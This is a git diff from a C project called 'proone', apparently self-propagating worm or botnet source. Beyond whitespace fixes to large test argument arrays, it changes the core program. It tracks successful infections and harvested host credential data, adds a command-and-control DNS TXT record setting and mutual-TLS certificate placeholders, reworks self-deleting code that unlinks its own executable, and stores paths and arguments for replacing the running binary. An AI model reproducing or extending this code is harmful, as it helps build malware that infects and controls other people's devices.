-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
 		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "12", NULL
 	};
 	static char *too_long_mem_args[] = {
-		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", 
-		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", 
-		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", 
-		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", 
-		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", 
+		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
+		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567",
 		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "12345678", NULL
 	};
 	static prne_htbt_bin_meta_t bm_a, bm_b;
@@ -147,7 +147,7 @@ static void test_ser (void) {
 	assert(prne_htbt_dser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_b) == PRNE_HTBT_SER_RC_OK);
 	assert(prne_htbt_eq_status(&s_a, &s_b));
 	prne_htbt_free_status(&s_a);
-	prne_htbt_free_status(&s_b);	
+	prne_htbt_free_status(&s_b);
 
 	// empty cred
 	// zero-size alloc
diff --git a/src/proone-test_util.c b/src/proone-test_util.c
index 43fc654..a5fac30 100644
--- a/src/proone-test_util.c
+++ b/src/proone-test_util.c
@@ -102,15 +102,15 @@ static void test_uuid (void) {
 	uint8_t out_arr[16];
 	char out_str[37];
 
-	memzero(out_arr, 16);
-	memzero(out_str, 37);
+	prne_memzero(out_arr, 16);
+	prne_memzero(out_str, 37);
 	assert(prne_uuid_fromstr(sample_str, out_arr));
 	assert(memcmp(sample_arr, out_arr, 16) == 0);
 	prne_uuid_tostr(out_arr, out_str);
 	assert(memcmp(sample_str, out_str, 37) == 0);
 
 	memset(out_arr, 0xFF, 16);
-	memzero(out_str, 37);
+	prne_memzero(out_str, 37);
 	assert(prne_uuid_fromstr(empty_str, out_arr));
 	assert(memcmp(empty_arr, out_arr, 16) == 0);
 	prne_uuid_tostr(out_arr, out_str);
diff --git a/src/proone.c b/src/proone.c
index cc3ae25..2973aaf 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -138,14 +138,10 @@ static void seed_ssl_rnd (const bool use_bent) {
 */
 static int proone_main (void) {
 	static int caught_sig;
-	static pid_t reaped;
 
 	prne_assert(pth_init());
 	prne_g.main_pth = pth_self();
 
-#ifndef PRNE_DEBUG
-	signal(SIGPIPE, SIG_IGN);
-#endif
 	seed_ssl_rnd(true);
 	alloc_workers();
 
@@ -156,14 +152,10 @@ static int proone_main (void) {
 
 	do {
 		prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
-		if (caught_sig == SIGCHLD) {
-			do {
-				reaped = waitpid(-1, NULL, WNOHANG);
-			} while (reaped > 0);
-			continue;
-		}
-		else if (caught_sig == SIGINT) {
-			// Probably Ctrl + C. Wait for the parent to send SIGTERM.
+		switch (caught_sig) {
+		case SIGCHLD: // Not my child
+		case SIGINT: // Probably Ctrl + C. Wait for the parent to send SIGTERM.
+		case SIGPIPE:
 			continue;
 		}
 	} while (false);
@@ -185,24 +177,8 @@ static int proone_main (void) {
 }
 
 static void delete_myself (const char *arg0) {
-#ifndef PRNE_DEBUG
-	static const char *proc_path = "/proc/self/exe";
-	struct stat st;
-	const char *path_to_unlink = NULL;
-	char *path_buf = NULL;
-
-	// get real path of myself
-	if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) {
-		path_buf[st.st_size] = 0;
-		path_to_unlink = path_buf;
-	}
-	else {
-		// try to delete arg0 instead
-		path_to_unlink = arg0;
-	}
-
-	unlink(path_to_unlink);
-	prne_free(path_buf);
+#if defined(PRNE_DEBUG)
+	unlink(arg0);
 #endif
 }
 
@@ -400,6 +376,10 @@ static void load_ssl_conf (void) {
 	// set mutual auth
 	// ignore expired cert (system wall clock might not be set)
 	if (prne_g.s_ssl.ready) {
+		mbedtls_ssl_conf_rng(
+			&prne_g.s_ssl.conf,
+			mbedtls_ctr_drbg_random,
+			&prne_g.ssl.rnd);
 		mbedtls_ssl_conf_ca_chain(
 			&prne_g.s_ssl.conf,
 			&prne_g.ssl.ca, NULL);
@@ -412,6 +392,10 @@ static void load_ssl_conf (void) {
 			NULL);
 	}
 	if (prne_g.c_ssl.ready) {
+		mbedtls_ssl_conf_rng(
+			&prne_g.c_ssl.conf,
+			mbedtls_ctr_drbg_random,
+			&prne_g.ssl.rnd);
 		mbedtls_ssl_conf_ca_chain(
 			&prne_g.c_ssl.conf,
 			&prne_g.ssl.ca,
@@ -491,7 +475,7 @@ static bool init_shared_global (void) {
 				goto END;
 			}
 
-			memzero(&skel, sizeof(skel));
+			prne_memzero(&skel, sizeof(skel));
 			// Future code for new shared_global format goes here
 			skel.rev = 0;
 
@@ -516,7 +500,7 @@ static bool init_shared_global (void) {
 		prne_dbgperr("* Failed to initialise shared global");
 	}
 	else {
-		prne_s_g->ny_bin_name[0] = 0;
+		prne_s_g->ny_bin_path[0] = 0;
 	}
 
 END:
@@ -540,10 +524,10 @@ static void init_ids (void) {
 	int fd = -1;
 
 	if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, prne_g.instance_id, sizeof(prne_g.instance_id)) != 0) {
-		memzero(prne_g.instance_id, sizeof(prne_g.instance_id));
+		prne_memzero(prne_g.instance_id, sizeof(prne_g.instance_id));
 	}
 
-	memzero(prne_g.boot_id, 16);
+	prne_memzero(prne_g.boot_id, 16);
 	do { // fake loop
 		fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
 		if (fd < 0) {
@@ -601,6 +585,7 @@ int main (const int argc, const char **args) {
 	sigaddset(&ss_all, SIGINT);
 	sigaddset(&ss_all, SIGTERM);
 	sigaddset(&ss_all, SIGCHLD);
+	sigaddset(&ss_all, SIGPIPE);
 
 	prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC);
 	prne_g.resolv = NULL;
@@ -626,8 +611,8 @@ int main (const int argc, const char **args) {
 	init_proone(args[0]);
 
 	/* inits that need outside resources. IN THIS ORDER! */
-	load_ssl_conf();
 	seed_ssl_rnd(false);
+	load_ssl_conf();
 	init_ids();
 	if (!init_shared_global()) {
 		prne_dbgpf("*** Another instance detected.\n");
@@ -678,10 +663,13 @@ int main (const int argc, const char **args) {
 				case SIGCHLD:
 					prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid);
 					break;
+				case SIGPIPE:
+					prne_dbgpf("** Parent received SIGPIPE. WHAT???\n");
+					continue;
 				}
 			} while (false);
 
-			has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0;
+			has_ny_bin = strlen(prne_s_g->ny_bin_path) > 0;
 
 			if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) {
 				prne_s_g->crash_cnt += 1;
@@ -704,8 +692,8 @@ int main (const int argc, const char **args) {
 			}
 
 			if (has_ny_bin) {
-				unlink(prne_s_g->ny_bin_name);
-				prne_s_g->ny_bin_name[0] = 0;
+				unlink(prne_s_g->ny_bin_path);
+				prne_memzero(prne_s_g->ny_bin_path, sizeof(prne_s_g->ny_bin_path));
 			}
 
 			sleep(1);
diff --git a/src/proone.h b/src/proone.h
index e551e14..700bd64 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -33,7 +33,7 @@ struct prne_global { // TODO: tidy init code when finalised
 	uint16_t dvault_size;
 	bool bin_ready;
 	bool is_child;
-	
+
 	prne_bin_archive_t bin_archive;
 
 	struct {
@@ -66,13 +66,11 @@ struct prne_shared_global {
 	// Number of successful infections.
 	uint64_t infect_cnt;
 	// null-terminated name of new binary
-	char ny_bin_name[256];
+	char ny_bin_path[256];
+	char ny_bin_args[1024];
 	char host_cred_data[256];
 };
 
-static const intptr_t PRNE_RESOLV_WKR_ID = 0;
-static const intptr_t PRNE_HTBT_WKR_ID = 1;
-
 
 extern struct prne_global prne_g;
 // TODO: could be NULL on some environments
diff --git a/src/proone_conf.skel/config.h b/src/proone_conf.skel/config.h
new file mode 100644
index 0000000..c70c795
--- /dev/null
+++ b/src/proone_conf.skel/config.h
@@ -0,0 +1 @@
+#define PRNE_CNC_TXT_REC "CHANGE.ME.test"
diff --git a/src/proone_conf.skel/x509.h b/src/proone_conf.skel/x509.h
new file mode 100644
index 0000000..973540a
--- /dev/null
+++ b/src/proone_conf.skel/x509.h
@@ -0,0 +1,6 @@
+#define PRNE_X509_CA_CRT 	{ 0x00 }
+#define PRNE_X509_DH		{ 0x00 }
+#define PRNE_X509_S_CRT 	{ 0x00 }
+#define PRNE_X509_S_KEY 	{ 0x00 }
